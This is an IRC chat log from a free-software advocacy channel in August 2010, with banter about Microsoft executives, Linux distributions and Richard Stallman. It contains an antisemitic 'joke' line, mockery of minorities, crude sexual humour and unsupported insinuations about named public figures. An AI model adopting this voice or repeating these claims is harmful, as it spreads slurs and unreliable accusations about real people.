| Chips_B_Malroy | We could send him to Britain? | Aug 02 21:27 |
| MinceR | The United States of America People Control Company -- Controlling Underlings So You Don't Have To! | Aug 02 21:28 |
| MinceR | but then he'd be in britain | Aug 02 21:28 |
| MinceR | and in europe | Aug 02 21:28 |
| Chips_B_Malroy | better than here | Aug 02 21:28 |
| -BNtwitter/#boycottnovell-[ml2mst] KDE SC4 Architecture and What it Means for the Future http://ur1.ca/0zht5 | Aug 02 21:28 | |
| TechrightsBot | Title: KDE SC4 Architecture and What it Means for the Future .::. Size~: 26.93 KB | Aug 02 21:28 |
| Chips_B_Malroy | No, on second thought, its better that the USA sends him to a country without Nukes | Aug 02 21:29 |
| MinceR | and then nukes that country? | Aug 02 21:29 |
| Chips_B_Malroy | Ballmer will just screw up and get is in another war | Aug 02 21:30 |
| MinceR | wait, no nuking, just bombing | Aug 02 21:30 |
| schestowitz | [21:27] <MinceR> it was McBush | Aug 02 21:30 |
| schestowitz | MacBAIN | Aug 02 21:30 |
| MinceR | plain old-fashioned bombing | Aug 02 21:30 |
| MinceR | McBane? | Aug 02 21:30 |
| MinceR | http://en.wikipedia.org/wiki/Bane_%28god%29 | Aug 02 21:30 |
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| -BNtwitter/#boycottnovell-[schestowitz] @jonobacon that's what they said about slavery and gender inequality (and the GNU system). #theyalllaughed | Aug 02 21:30 | |
| Chips_B_Malroy | Ballmer has a future, he has too much money. Money is power, and he will be a part of the gov. | Aug 02 21:31 |
| schestowitz | "Bom Bom Bom Bom Bomb Lucowsky" *throws chair | Aug 02 21:31 |
| MinceR | and he will be a puppet of the megacorps there | Aug 02 21:31 |
| schestowitz | The name of my machine at work is "baine" | Aug 02 21:32 |
| schestowitz | I guess I could use hackintosh on it | Aug 02 21:32 |
| Chips_B_Malroy | He will promote MS where ever he goes, because he ownes so much of its stock | Aug 02 21:32 |
| schestowitz | and call it mcbaine | Aug 02 21:32 |
| MinceR | the name of my machine at work is its service id | Aug 02 21:32 |
| -BNtwitter/#boycottnovell-[jonobacon] Currently listening to Slave by The Rolling Stones https://one.ubuntu.com/music/l/3521674/0 | Aug 02 21:32 | |
| TechrightsBot | Title: Slave from the Ubuntu One Music Store .::. Size~: 0.84 KB | Aug 02 21:32 |
| MinceR | schestowitz: that would be too costly for a pun | Aug 02 21:32 |
| schestowitz | MinceR: Microsoft owns Absurdistan | Aug 02 21:32 |
| schestowitz | Now go get a map | Aug 02 21:32 |
| schestowitz | Install mono-common first | Aug 02 21:33 |
| Chips_B_Malroy | That would make an interesting article, "The future of Steve Ballmer, life after Microsoft." | Aug 02 21:33 |
| -BNtwitter/#boycottnovell-[nsisodiya] Purchase SchoolOS DVD - http://rarurv.blogspot.com/2010/07/request-schoolos-dvd.html #foss #fossDistro #linux | Aug 02 21:33 | |
| TechrightsBot | Title: Always Stay Updated...!: Request SchoolOS DVD . .::. Size~: 76.1 KB | Aug 02 21:33 |
| schestowitz | Chips_B_Malroy: most likely a coronary disease | Aug 02 21:34 |
| Chips_B_Malroy | Maybe the Queen would Knight him like she did Gates? | Aug 02 21:34 |
| schestowitz | Ewwww... | Aug 02 21:34 |
| schestowitz | Disgraceful | Aug 02 21:34 |
| Chips_B_Malroy | yep | Aug 02 21:34 |
| schestowitz | Anyway, I doubt he has coronary issues | Aug 02 21:34 |
| schestowitz | People without hearts can't have that | Aug 02 21:35 |
| MinceR | they knight all sorts of criminals now | Aug 02 21:35 |
| schestowitz | It's like saying that Miss South Carolina has a brain tumour | Aug 02 21:35 |
| MinceR | in Airstrip One | Aug 02 21:35 |
| schestowitz | http://www.youtube.com/watch?v=lj3iNxZ8Dww | Aug 02 21:36 |
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| MinceR | but those despots can afford it | Aug 02 21:36 |
| Chips_B_Malroy | So what is the current reason for leaving MS when you are forced out? Oh, its: "I want to spend more time with my family." Might work for the sweaty one also. | Aug 02 21:36 |
| Chips_B_Malroy | Is there a cost to pay for being Knighted by the Queen? | Aug 02 21:37 |
| Chips_B_Malroy | a fee of any sort? | Aug 02 21:37 |
| schestowitz | "I want to spend more time with my family." *LOL* classic | Aug 02 21:37 |
| Chips_B_Malroy | It worked for Robbie Bach | Aug 02 21:37 |
| schestowitz | many people at Microsoft has started "spending time with their family" in recent years | Aug 02 21:38 |
| MinceR | m$ has many ways to "pay" for such a PR stunt | Aug 02 21:38 |
| Chips_B_Malroy | yes, a bunch of top level bosses | Aug 02 21:38 |
| schestowitz | Can't ever attack "I want to spend more time with my family." | Aug 02 21:38 |
| Chips_B_Malroy | Sir Steve Ballmer, has a ring to it, don't you think? | Aug 02 21:38 |
| schestowitz | It's like saying, "this is done for charity" | Aug 02 21:38 |
| MinceR | oops, "despot" -- there's only one there | Aug 02 21:38 |
| schestowitz | Microsoft is now bribing Bong users | Aug 02 21:39 |
| MinceR | Chips_B_Malroy: yes, it has a sort of "fuck UK" ring to it :> | Aug 02 21:39 |
| schestowitz | For charity, of course | Aug 02 21:39 |
| schestowitz | Don't say anything bad about it | Aug 02 21:39 |
| MinceR | just like in gate$' case | Aug 02 21:39 |
| schestowitz | COde |RED| | Aug 02 21:39 |
| schestowitz | With Dell | Aug 02 21:39 |
| schestowitz | To 'fight AIDA' | Aug 02 21:39 |
| schestowitz | [and make Dell richer] | Aug 02 21:39 |
| schestowitz | *AIDS | Aug 02 21:39 |
| -BNtwitter/#boycottnovell-[wikileaks] WikiLeaks as World Asset | Huffpost http://huff.to/9iimj8 | Aug 02 21:39 | |
| TechrightsBot | Title: Robert Weller: Wikileaks As A World Asset .::. Size~: 138.48 KB | Aug 02 21:39 |
| MinceR | do free winblows licenses cure aids now? | Aug 02 21:39 |
| MinceR | "free" | Aug 02 21:40 |
| schestowitz | They are NOT free | Aug 02 21:40 |
| schestowitz | You pay for them | Aug 02 21:40 |
| schestowitz | Ballmer says ch-chaing | Aug 02 21:40 |
| MinceR | i know | Aug 02 21:40 |
| MinceR | but they say it's a "donation" | Aug 02 21:40 |
| schestowitz | And then farts a cents into Africa's cup | Aug 02 21:40 |
| schestowitz | "Donation" is a front/shield | Aug 02 21:40 |
| schestowitz | Like sending gay|trans|female|minority|super old person for PR speech | Aug 02 21:41 |
| schestowitz | Obama is perfect | Aug 02 21:41 |
| schestowitz | Ubsulting the pesident is now "racism" | Aug 02 21:41 |
| schestowitz | *Insulting | Aug 02 21:41 |
| schestowitz | Hillary would have had another defense. With Bush you'd be safe ciriticising | Aug 02 21:42 |
| -BNtwitter/#boycottnovell-[_goblin] AFACT v iiNet – An appeal with no hope or something to be encouraged? http://tinyurl.com/2dnxej3 #piratepartyuk #tpb #piracy | Aug 02 21:42 | |
| TechrightsBot | Title: AFACT v iiNet An appeal with no hope or something to be encouraged? « OpenBytes .::. Size~: 44.1 KB | Aug 02 21:42 |
| schestowitz | Most defensible president would probably be lesbian black prsident | Aug 02 21:43 |
| MinceR | :> | Aug 02 21:43 |
| schestowitz | In her 80s :-) | Aug 02 21:43 |
| MinceR | they must be building one as we speak | Aug 02 21:43 |
| MinceR | or two | Aug 02 21:43 |
| MinceR | one for each side of the gang | Aug 02 21:43 |
| schestowitz | If they don't die first | Aug 02 21:43 |
| MinceR | (the red side and the blue side) | Aug 02 21:44 |
| schestowitz | You don't want to groom someone too old | Aug 02 21:44 |
| MinceR | they could put it on life support | Aug 02 21:44 |
| schestowitz | Your PR investment can be wasted | Aug 02 21:44 |
| schestowitz | The Clintons are still active | Aug 02 21:44 |
| MinceR | or even perform taxidermy | Aug 02 21:44 |
| schestowitz | Clinton is lobbying with gates again | Aug 02 21:44 |
| schestowitz | I have an article about this coming | Aug 02 21:44 |
| schestowitz | Bill Gates, not his wife | Aug 02 21:44 |
| schestowitz | Oops | Aug 02 21:44 |
| schestowitz | Bill Clinton | Aug 02 21:44 |
| MinceR | lol | Aug 02 21:44 |
| schestowitz | Bill & Bill | Aug 02 21:44 |
| schestowitz | Lobbyists | Aug 02 21:44 |
| schestowitz | Bill & Bill Co. | Aug 02 21:44 |
| MinceR | Steve&Steve, Bill&Bill | Aug 02 21:44 |
| schestowitz | Fighting for patents in Africa | Aug 02 21:45 |
| MinceR | what a disgusting company | Aug 02 21:45 |
| schestowitz | You know what Bill (C) would tell you | Aug 02 21:45 |
| schestowitz | "You can suck my cigar.." | Aug 02 21:45 |
| MinceR | :> | Aug 02 21:45 |
| schestowitz | http://www.businesswire.com/portal/site/home/permalink/?ndmViewId=news_view&newsId=20100802005564&newsLang=en | Aug 02 21:46 |
| TechrightsBot | Title: Red Hat Leads Corporate Contributions to GNOME Desktop Project | Business Wire .::. Size~: 66.59 KB | Aug 02 21:46 |
| schestowitz | http://www.indiainfoline.com/Markets/News/Red-Hat-announces-six-senior-management-appointments/4897231339 | Aug 02 21:47 |
| TechrightsBot | Title: Red Hat announces senior management appointments .::. Size~: 142.73 KB | Aug 02 21:47 |
| -BNtwitter/#boycottnovell-[schestowitz] Wow. #RedHat issued a press release to brag about is #GNOME position. http://ur1.ca/0zhxa | Aug 02 21:47 | |
| TechrightsBot | Title: Red Hat Leads Corporate Contributions to GNOME Desktop Project | Business Wire .::. Size~: 66.59 KB | Aug 02 21:47 |
| MinceR | i would welcome a new DE | Aug 02 21:47 |
| MinceR | not MacOS DE, not ShinyCrash DE, not MacOS DE Lite, but something new | Aug 02 21:48 |
| DaemonFC | I had a t-shirt that said I don't trust President Clinton or her husband | Aug 02 21:48 |
| DaemonFC | :) | Aug 02 21:48 |
| MinceR | hm | Aug 02 21:48 |
| MinceR | that reminds me of something | Aug 02 21:48 |
| MinceR | even if only loosely related | Aug 02 21:49 |
| MinceR | http://www.penny-arcade.com/comic/2004/02/13/ | Aug 02 21:49 |
| TechrightsBot | Title: Penny Arcade! - Rubies: Not Just For Slippers .::. Size~: 7.35 KB | Aug 02 21:49 |
| DaemonFC | http://www.bbc.co.uk/news/technology-10837232 | Aug 02 21:49 |
| TechrightsBot | Title: BBC News - Microsoft issues 'critical' patch for shortcut bug .::. Size~: 46.67 KB | Aug 02 21:49 |
| schestowitz | http://easylinuxcds.com/blog/?p=3895 | Aug 02 21:50 |
| TechrightsBot | Title: Sabayon 5.3 LXDE Screenshots | EasyLinuxCDs.com .::. Size~: 35.87 KB | Aug 02 21:50 |
| schestowitz | DaemonFC: Microsoft gave a shortcut to crackers | Aug 02 21:50 |
| schestowitz | How kind of Ballmer | Aug 02 21:50 |
| DaemonFC | Autorun.inf on a USB drive | Aug 02 21:51 |
| DaemonFC | was a great gift to malware writers | Aug 02 21:51 |
| schestowitz | DaemonFC: it was hard for her | Aug 02 21:51 |
| schestowitz | (Clinton) | Aug 02 21:51 |
| schestowitz | DaemonFC: also to the new KGB | Aug 02 21:52 |
| schestowitz | In fact, Microsoft has received a gift for this lovely transactuon | Aug 02 21:52 |
| schestowitz | Russia sent Microsoft a man to test the software for a sufficient number of holes :-> | Aug 02 21:52 |
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| schestowitz | Da, da.... | Aug 02 21:53 |
| schestowitz | In Soviet Russia, Microsoft ships code | Aug 02 21:53 |
| schestowitz | In Russian Federation, ships attack Microsoft code | Aug 02 21:53 |
| DaemonFC | http://www.chicagotribune.com/news/chi-ap-in-indianaimmigratio,0,7400099.story | Aug 02 21:54 |
| TechrightsBot | Title: Hundreds of illegal immigrants jailed in Ind. - chicagotribune.com .::. Size~: 125.59 KB | Aug 02 21:54 |
| schestowitz | In Soviet Russia, nuke attacks Ballmer | Aug 02 21:54 |
| schestowitz | In Russian Federation, Ballmer goes NUCLAR | Aug 02 21:54 |
| schestowitz | DaemonFC: to be put in slave camps and make military helmets? | Aug 02 21:55 |
| DaemonFC | hehe | Aug 02 21:55 |
| DaemonFC | I hope | Aug 02 21:55 |
| schestowitz | http://www.techforce.com.br/news/linux_blog/lvm_raid_xfs_ext3_tuning_for_small_files_parallel_i_o_on_debian | Aug 02 21:55 |
| TechrightsBot | Title: LVM, RAID, XFS, EXT3 tuning for small files parallel I/O on Debian / Linux blog / Tech Force - Linux Blog .::. Size~: 31.44 KB | Aug 02 21:55 |
| schestowitz | DaemonFC: have a nice cup | Aug 02 21:55 |
| DaemonFC | OpenSuse's installer still warns that it may not boot on XFS | Aug 02 21:56 |
| schestowitz | OpenSUSE is still around? | Aug 02 21:56 |
| DaemonFC | but the 256 byte inode patch for Ext4 is the same one that allows GRUB to deal with XFS now | Aug 02 21:56 |
| MinceR | someone still cares about opensuse? | Aug 02 21:56 |
| schestowitz | OpenSUSE employees (Novell) | Aug 02 21:56 |
| schestowitz | Both of them who are left | Aug 02 21:57 |
| DaemonFC | heh | Aug 02 21:57 |
| schestowitz | Ubuntu is also a tag-team act | Aug 02 21:57 |
| DaemonFC | I just fed Jabba a pepperoni | Aug 02 21:57 |
| Chips_B_Malroy | When you have 16 billion US dollars, is more money really important to you? With people like Ballmer and Gates they cannot spend that much on themselves, so it becomes about power and respect. Money can it seems, buy both to a degree. | Aug 02 21:57 |
| schestowitz | Mac Asay as the old man's guard dog | Aug 02 21:57 |
| schestowitz | And jono as Joe Peshi | Aug 02 21:58 |
| schestowitz | [spelling?] | Aug 02 21:58 |
| DaemonFC | Pesci | Aug 02 21:58 |
| schestowitz | Chips_B_Malroy: respec' (speaking of Peshi) | Aug 02 21:58 |
| schestowitz | DaemonFC: pesky | Aug 02 21:59 |
| MinceR | worship the Sun but pray to Joe Pesci? | Aug 02 21:59 |
| DaemonFC | http://www.youtube.com/watch?v=ip2WYXbPuuw | Aug 02 21:59 |
| DaemonFC | jono? | Aug 02 21:59 |
| TechrightsBot | Title: YouTube- 21FUCKs in 2mins .::. Size~: 90.73 KB | Aug 02 21:59 |
| Chips_B_Malroy | Speaking of Ballmer and respect, he is like the Rodney Dangerfield of CEO's. Except not near as funny or human. | Aug 02 21:59 |
| schestowitz | http://www.eff.org/deeplinks/2010/07/doj-pushing-expand-warrantless-access-internet | Aug 02 22:00 |
| TechrightsBot | Title: DOJ Pushing to Expand Warrantless Access to Internet Records | Electronic Frontier Foundation .::. Size~: 17.56 KB | Aug 02 22:00 |
| schestowitz | DaemonFC: jono pesci | Aug 02 22:00 |
| schestowitz | Mark's sidekick | Aug 02 22:00 |
| MinceR | that isn't very nice | Aug 02 22:00 |
| schestowitz | :-p | Aug 02 22:00 |
| schestowitz | Joke.. | Aug 02 22:00 |
| DaemonFC | he meant that ain't very fuckin' nice, pal | Aug 02 22:00 |
| DaemonFC | learn some fuckin' respect you jew! | Aug 02 22:00 |
| DaemonFC | lol | Aug 02 22:00 |
| MinceR | lol | Aug 02 22:00 |
| schestowitz | Hehe | Aug 02 22:01 |
| DaemonFC | English to Joe Pesci translator | Aug 02 22:01 |
| DaemonFC | :) | Aug 02 22:01 |
| DaemonFC | http://www.youtube.com/watch?v=L46bzDt8kGU | Aug 02 22:02 |
| TechrightsBot | Title: YouTube- 8 Heads in A Duffel Bag-Throwing Grandma out .::. Size~: 92.58 KB | Aug 02 22:02 |
| MinceR | ew, fucking rtl klub uses silver lie | Aug 02 22:03 |
| DaemonFC | The goin rate's ten thousand, you can owe me! | Aug 02 22:03 |
| DaemonFC | lol | Aug 02 22:03 |
| DaemonFC | http://www.youtube.com/watch?v=1q7mjoxHzm4 | Aug 02 22:04 |
| TechrightsBot | Title: YouTube- Funny court scene from My cousin Vinny .::. Size~: 93.83 KB | Aug 02 22:04 |
| DaemonFC | My Cousin Jono | Aug 02 22:04 |
| DaemonFC | :) | Aug 02 22:04 |
| schestowitz | Dear Abby, | Aug 02 22:05 |
| schestowitz | http://tinyogg.com/watch/fuVML/ | Aug 02 22:07 |
| TechrightsBot | Title: TinyOgg - Watch: COP IS BUSTED STEALING WEED-VERY FUNNY! .::. Size~: 5.25 KB | Aug 02 22:07 |
| schestowitz | *LOL* | Aug 02 22:07 |
| DaemonFC | "Everything that guy just said was bullshit, thank you!" | Aug 02 22:08 |
| DaemonFC | hehe | Aug 02 22:08 |
| DaemonFC | that sound like jono | Aug 02 22:09 |
| DaemonFC | in fewer words | Aug 02 22:09 |
| DaemonFC | and more to the point | Aug 02 22:09 |
| -BNtwitter/#boycottnovell-[jonobacon] @schestowitz: are you really comparing slavery to the availability of music online? not sure they are well connected... | Aug 02 22:11 | |
| -BNtwitter/#boycottnovell-[daemonfc] @jonobacon: Banshee says all their MP3 store money goes to the GNOME project, where is the Ubuntu One money going? Break it down please. :) | Aug 02 22:13 | |
| DaemonFC | Is Debian 6 going to have Pulseaudio by default? | Aug 02 22:14 |
| MinceR | will they fix pulseaudio by then? | Aug 02 22:15 |
| DaemonFC | define fix | Aug 02 22:15 |
| Chips_B_Malroy | I hope not | Aug 02 22:15 |
| DaemonFC | I thought calling everyone else an idiot and insisting that you are God does fix a problem. | Aug 02 22:15 |
| Chips_B_Malroy | that Debian does pulseaudio that is | Aug 02 22:15 |
| DaemonFC | :D | Aug 02 22:15 |
| -BNtwitter/#boycottnovell-[schestowitz] The WIki meme spreads: TYT On MSNBC: WikiProtest Launch (Share Your Ideas!) http://tinyogg.com/watch/kggnW/ | Aug 02 22:15 | |
| TechrightsBot | Title: TinyOgg - Watch: TYT On MSNBC: WikiProtest Launch (Share Your Ideas!) .::. Size~: 5.27 KB | Aug 02 22:15 |
| DaemonFC | I am really in trouble this month | Aug 02 22:19 |
| DaemonFC | I'm glad I get paid tomorrow | Aug 02 22:19 |
| DaemonFC | it's been one disaster after another | Aug 02 22:19 |
| DaemonFC | :P | Aug 02 22:20 |
| DaemonFC | the cat represents most of my assets at this moment | Aug 02 22:20 |
| DaemonFC | :) | Aug 02 22:20 |
| DaemonFC | I'm going to start giving the bills to him | Aug 02 22:20 |
| DaemonFC | he can be in charge of getting them paid | Aug 02 22:21 |
| DaemonFC | besides it'll be fun to say "Hold on while I talk to my financial consultant" | Aug 02 22:21 |
| -BNtwitter/#boycottnovell-[schestowitz] Links 2/8/2010: Ubuntu Studio 2.1, “Open Source Bubble” http://techrights.org/2010/08/02/open-source-bubble/ | Aug 02 22:22 | |
| TechrightsBot | Title: Links 2/8/2010: Ubuntu Studio 2.1, “Open Source Bubble” | Techrights .::. Size~: 94.55 KB | Aug 02 22:22 |
| schestowitz | http://www.muktware.com/blog/29/2010/259 | Aug 02 22:24 |
| TechrightsBot | Title: Mandriva One 2010 Spring KDE | Muktware .::. Size~: 17.33 KB | Aug 02 22:24 |
| schestowitz | DaemonFC: you can sell Jabba in Chinatown | Aug 02 22:25 |
| schestowitz | Look at the menu to find our market worth | Aug 02 22:25 |
| schestowitz | *out | Aug 02 22:25 |
| schestowitz | Don't be ripped off like Jabba | Aug 02 22:25 |
| DaemonFC | people who eat cats...ugh | Aug 02 22:26 |
| DaemonFC | disgusting | Aug 02 22:26 |
| schestowitz | "Will work fore (cat) food" | Aug 02 22:26 |
| schestowitz | In China, "cat food" means something else | Aug 02 22:26 |
| MinceR | i hope that if debian does PA at least they 1) configure and patch it properly by default and 2) let me turn it off, unlike ubuntu | Aug 02 22:26 |
| DaemonFC | MinceR, Autospawn! | Aug 02 22:27 |
| DaemonFC | yay! | Aug 02 22:27 |
| schestowitz | http://www.itwire.com/opinion-and-analysis/open-sauce/40801-canonical-takes-much-more-than-it-gives | Aug 02 22:27 |
| MinceR | and yes, eating cats is blasphemy | Aug 02 22:27 |
| schestowitz | After life, cat eats YOU | Aug 02 22:27 |
| schestowitz | YouTube has some videos of big cats mauling people | Aug 02 22:28 |
| schestowitz | DaemonFC: I was only joking | Aug 02 22:28 |
| schestowitz | I'm sure your cat is delicious | Aug 02 22:28 |
| schestowitz | [If you feed it better] :-p | Aug 02 22:28 |
| schestowitz | 5 year old (from the mouth of babes!): "My dog is tastier than your dog!!" | Aug 02 22:29 |
| schestowitz | -Kim Lee | Aug 02 22:29 |
| MinceR | lol | Aug 02 22:29 |
| MinceR | Ken Lee | Aug 02 22:30 |
| schestowitz | People feed cows this way | Aug 02 22:30 |
| schestowitz | Are cows so much stupider? | Aug 02 22:30 |
| schestowitz | They are domesticated, but still | Aug 02 22:30 |
| schestowitz | I think that with sheep we cross-bred based on stupidity | Aug 02 22:30 |
| schestowitz | We inversed evolution | Aug 02 22:30 |
| DaemonFC | I think the pipes are clogged | Aug 02 22:30 |
| DaemonFC | kind of makes me want to keep flushing the toilet until they burst | Aug 02 22:31 |
| schestowitz | Selecting based on idiocy and willingness to eat and be slaughtered | Aug 02 22:31 |
| DaemonFC | and hopefully ruin the downstairs neighbors furniture | Aug 02 22:31 |
| schestowitz | [22:30] <DaemonFC> I think the pipes are clogged | Aug 02 22:31 |
| schestowitz | Take her to the gynaecologist then | Aug 02 22:31 |
| Chips_B_Malroy | kinect for xbox360 is not selling well | Aug 02 22:31 |
| schestowitz | Chips_B_Malroy: it's not | Aug 02 22:31 |
| schestowitz | Since a while back | Aug 02 22:32 |
| schestowitz | Microsoft named one shop where preoders make top 10 | Aug 02 22:32 |
| schestowitz | For _now_ | Aug 02 22:32 |
| schestowitz | And another claimed #1 | Aug 02 22:32 |
| schestowitz | Although I found just one article claiming the latter | Aug 02 22:32 |
| schestowitz | The earlier one | Aug 02 22:32 |
| schestowitz | It's like when Microsoft announced massive discount and then claims "amazing demand" (in a week's period) for that something which it discounted | Aug 02 22:33 |
| Chips_B_Malroy | maybe the $150 price tag is a bit much for an accessory during a depression for a console with an extremely high failure rate? | Aug 02 22:33 |
| Chips_B_Malroy | no, it couldn't be that | Aug 02 22:33 |
| schestowitz | Chips_B_Malroy: people wil buy a toaster | Aug 02 22:33 |
| schestowitz | "LEt me just have my taoster..." | Aug 02 22:33 |
| Chips_B_Malroy | The fans are waiting for Xmas to buy is all | Aug 02 22:33 |
| schestowitz | http://www.youtube.com/watch?v=dib2-HBsF08 | Aug 02 22:34 |
| TechrightsBot | Title: YouTube- Network- I'm Mad as Hell .::. Size~: 109.13 KB | Aug 02 22:34 |
| Chips_B_Malroy | well, toaster is better deal | Aug 02 22:34 |
| schestowitz | I'm Mad as Hell and Microsoft banned me from xbox live!!!! | Aug 02 22:34 |
| cubezzz3 | lol | Aug 02 22:35 |
| cubezzz3 | please, ban me | Aug 02 22:35 |
| cubezzz3 | someone in IRC told me they never used MIcrosoft Software | Aug 02 22:37 |
| cubezzz3 | forget who though | Aug 02 22:37 |
| DaemonFC | http://www.fsf.org/resources/hw/firmware | Aug 02 22:37 |
| TechrightsBot | Title: Linux drivers that require binary firmware — Free Software Foundation — working together for free software .::. Size~: 30.55 KB | Aug 02 22:37 |
| DaemonFC | Well, there goes every modern PC | Aug 02 22:37 |
| cubezzz3 | no, there's coreboot | Aug 02 22:37 |
| MinceR | not all nonfree sw is m$ :> | Aug 02 22:38 |
| schestowitz | Some people grew up with Macs | Aug 02 22:38 |
| schestowitz | Than Jobs put IE in it | Aug 02 22:38 |
| cubezzz3 | Lemote, probably others I don't know about | Aug 02 22:38 |
| schestowitz | Hey, where is Jobs' old organ? | Aug 02 22:39 |
| schestowitz | I mean, what do they do with the old ones? | Aug 02 22:39 |
| schestowitz | I reckon they just have it rot, but Jobs' they could auction on ebay | Aug 02 22:39 |
| cubezzz3 | no, there's probable a rule against selling body parts :) | Aug 02 22:39 |
| MinceR | maybe they just have it rot as they should have done to the whole thing :> | Aug 02 22:39 |
| schestowitz | Send the money to Africa or something.... the Africa Foundation... sponsored by used liver of Steve Jobs :0-) | Aug 02 22:40 |
| DaemonFC | well, they banned selling Nazi stuff | Aug 02 22:40 |
| schestowitz | [22:39] <cubezzz3> no, there's probable a rule against selling body parts :) | Aug 02 22:40 |
| schestowitz | But this one was dead | Aug 02 22:40 |
| MinceR | well, they could encase it in acryl, emboss a crApple logo in it and auction it to the cultists | Aug 02 22:40 |
| schestowitz | It was like memorabilia | Aug 02 22:40 |
| schestowitz | They put it in a jar | Aug 02 22:40 |
| schestowitz | they call it iOrgan or something | Aug 02 22:40 |
| MinceR | maybe also an iLiver title on it | Aug 02 22:40 |
| schestowitz | Then make some nice marketing logo and put it on ebay | Aug 02 22:41 |
| schestowitz | There are enough idiots who would be the "original" Jobs body part | Aug 02 22:41 |
| cubezzz3 | you can't sell human skulls either | Aug 02 22:41 |
| MinceR | or have m$ pay a few billions and make it "Windows iLive!" | Aug 02 22:41 |
| -BNtwitter/#boycottnovell-[schestowitz] It was so predictable that "PCPro" would be hostile towards Richard Stallman... http://ur1.ca/0zia8 #gnu #fsf | Aug 02 22:41 | |
| TechrightsBot | Title: Richard Stallman: GNU do you think you are? | PC Pro blog .::. Size~: 43.49 KB | Aug 02 22:41 |
| schestowitz | MinceR: Live died | Aug 02 22:41 |
| schestowitz | They renamed a lot of it | Aug 02 22:42 |
| DaemonFC | if the firmware is binary-only and proprietary and is in the device itself, it's OK apaprently | Aug 02 22:42 |
| MinceR | all of it? | Aug 02 22:42 |
| schestowitz | Nope | Aug 02 22:42 |
| DaemonFC | that makes no sense | Aug 02 22:42 |
| schestowitz | There's that live drive thingui | Aug 02 22:42 |
| schestowitz | Ask DaemonFC | Aug 02 22:42 |
| schestowitz | He's the Microsoft cultist among us | Aug 02 22:42 |
| MinceR | :> | Aug 02 22:42 |
| DaemonFC | huh? | Aug 02 22:42 |
| MinceR | schestowitz: besides Blow's liver died too | Aug 02 22:42 |
| MinceR | so it's fitting :> | Aug 02 22:42 |
| schestowitz | MinceR: it's OK, he had a spare one | Aug 02 22:42 |
| DaemonFC | "Windows Live Essentials" | Aug 02 22:43 |
| MinceR | :> | Aug 02 22:43 |
| cubezzz3 | well Stallman was tactless | Aug 02 22:43 |
| MinceR | lol | Aug 02 22:43 |
| schestowitz | It came from "somewhere" | Aug 02 22:43 |
| DaemonFC | it's getting more bloated and full of spam, spyware, and advertising this year | Aug 02 22:43 |
| cubezzz3 | he's better at being polite now | Aug 02 22:43 |
| DaemonFC | I won't even touch the thing on Windows | Aug 02 22:43 |
| schestowitz | cubezzz3: he still is | Aug 02 22:43 |
| schestowitz | Very rude sometimes | Aug 02 22:43 |
| DaemonFC | Stallman is a tactless bombastic oaf who | Aug 02 22:43 |
| schestowitz | cubezzz3: he went to Anger Management, I think | Aug 02 22:43 |
| DaemonFC | finish this sentence | Aug 02 22:43 |
| cubezzz3 | I don't think he's quite as bad now though schestowitz | Aug 02 22:43 |
| DaemonFC | something involving the GNU/Linux spam/renaming campaign | Aug 02 22:44 |
| MinceR | pcpro intentionally misrepresents RMS's answer | Aug 02 22:44 |
| schestowitz | cubezzz3: as long as you don't tell him certain things | Aug 02 22:44 |
| cubezzz3 | like what? :) | Aug 02 22:44 |
| schestowitz | You would know how to push his buttons | Aug 02 22:44 |
| MinceR | he mentions that he admitted that he shouldn't have behaved like only as an aside | Aug 02 22:44 |
| schestowitz | cubezzz3: making money working on blobs | Aug 02 22:44 |
| schestowitz | Or the whole "Linux" (I prefer to call it that) | Aug 02 22:44 |
| schestowitz | "The kernel is all that matters" | Aug 02 22:44 |
| cubezzz3 | nah I wouldn't do that | Aug 02 22:45 |
| MinceR | just another anti-free asshole who tries to discredit Free Software so that m$ and crApple can steal more code | Aug 02 22:45 |
| DaemonFC | if the kernel is so trivial, why doesn't GNU have one? | Aug 02 22:45 |
| MinceR | it does | Aug 02 22:45 |
| DaemonFC | and just end the debate forever? | Aug 02 22:45 |
| MinceR | it's called GNU Mach | Aug 02 22:45 |
| cubezzz3 | gcc was very very important, so I agree with him there | Aug 02 22:45 |
| -BNtwitter/#boycottnovell-[wikileaks] Moscow media play up US leaks while ignoring Russian ones | Georgian Voice http://bit.ly/bbdfLw | Aug 02 22:45 | |
| schestowitz | MinceR: possibly quote-mined | Aug 02 22:45 |
| cubezzz3 | I remember paying big bucks for a C compiler | Aug 02 22:45 |
| schestowitz | I'd like to see the video with context | Aug 02 22:45 |
| schestowitz | He can get him vexed up first | Aug 02 22:46 |
| schestowitz | And omit that | Aug 02 22:46 |
| DaemonFC | MinceR, and can their kernel work on my PC? | Aug 02 22:46 |
| DaemonFC | and access all the hardware? | Aug 02 22:46 |
| DaemonFC | and is it stable? | Aug 02 22:46 |
| MinceR | also, knowing that RMS is a hacker, it's no surprise that he puts great emphasis on using the correct words | Aug 02 22:46 |
| schestowitz | I reckon that's what Mel Gibson had done to him | Aug 02 22:46 |
| DaemonFC | does it perform well? | Aug 02 22:46 |
| schestowitz | On that call or previous calls | Aug 02 22:46 |
| cubezzz3 | yeah RMS is more polite than Mel :) | Aug 02 22:46 |
| cubezzz3 | that's not saying much though | Aug 02 22:46 |
| MinceR | DaemonFC: if the hardware makers who made the parts of your PC cared to support it just like they support winblows, then yes it can | Aug 02 22:46 |
| DaemonFC | I just presume that anyone talking about GNU Linux is talking about the Gnewsense Linux distribution | Aug 02 22:47 |
| schestowitz | cubezzz3: Mellow Gibson.. awwwwwwwww ;-) | Aug 02 22:47 |
| DaemonFC | cause that's the only context it makes sense in | Aug 02 22:47 |
| DaemonFC | :) | Aug 02 22:47 |
| MinceR | DaemonFC: so to you Debian is the same thing as Android? | Aug 02 22:47 |
| MinceR | DaemonFC: since apparently GNU doesn't matter to you | Aug 02 22:47 |
| DaemonFC | it doesn't really matter | Aug 02 22:47 |
| cubezzz3 | no, I use all sorts of GNU parts | Aug 02 22:47 |
| cubezzz3 | but I haven't tried Gnewsense yet | Aug 02 22:47 |
| DaemonFC | you could use FreeBSD's userspace on the Linux kernel I'm sure | Aug 02 22:47 |
| schestowitz | Androids have no souls | Aug 02 22:47 |
| MinceR | and why only GNewSense? there are other distros that use only free sw and Linux Libre | Aug 02 22:47 |
| DaemonFC | it hasn't been done though | Aug 02 22:47 |
| MinceR | DaemonFC: so? | Aug 02 22:48 |
| schestowitz | When Android takes over it won't be good | Aug 02 22:48 |
| MinceR | DaemonFC: what's your point? | Aug 02 22:48 |
| MinceR | s/GNe/gNe/ | Aug 02 22:48 |
| schestowitz | Society dominated by "Androids"... kinds of like Terminator | Aug 02 22:48 |
| schestowitz | *kind | Aug 02 22:48 |
